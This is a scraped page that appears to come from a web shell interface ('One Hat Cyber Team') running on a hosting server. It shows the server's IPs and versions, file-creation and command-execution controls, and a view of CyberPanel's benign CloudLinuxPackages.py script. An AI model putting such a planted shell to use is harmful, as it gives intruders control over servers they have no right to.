⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.74
Server IP:
104.21.96.1
Server:
Linux vmi2315822.contaboserver.net 5.15.0-134-generic #145-Ubuntu SMP Wed Feb 12 20:08:39 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.3.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
local
/
CyberCP
/
CLScript
/
View File Name :
CloudLinuxPackages.py
#!/usr/local/CyberCP/bin/python import sys import os.path import django sys.path.append('/usr/local/CyberCP') os.environ.setdefault("DJANGO_SETTINGS_MODULE", "CyberCP.settings") try: django.setup() except: pass from packages.models import Package import argparse import json from CLScript.CLMain import CLMain from loginSystem.models import Administrator class CloudLinuxPackages(CLMain): def __init__(self): CLMain.__init__(self) def listAll(self, owner=None): packages = [] if owner == None: for items in Package.objects.all(): try: packages.append({'name': items.packageName, 'owner': items.admin.userName}) except: pass else: admin = Administrator.objects.get(userName=owner) for items in Package.objects.filter(admin=admin): try: packages.append({'name': items.packageName, 'owner': items.admin.userName}) except: pass final = {'data': packages, 'metadata': self.initialMeta} print(json.dumps(final)) if __name__ == '__main__': parser = argparse.ArgumentParser(description='CyberPanel CloudLinux Manager') parser.add_argument('-o', '--owner', help='Owner') args = parser.parse_args() pi = CloudLinuxPackages() try: pi.listAll(args.owner) except: pi.listAll()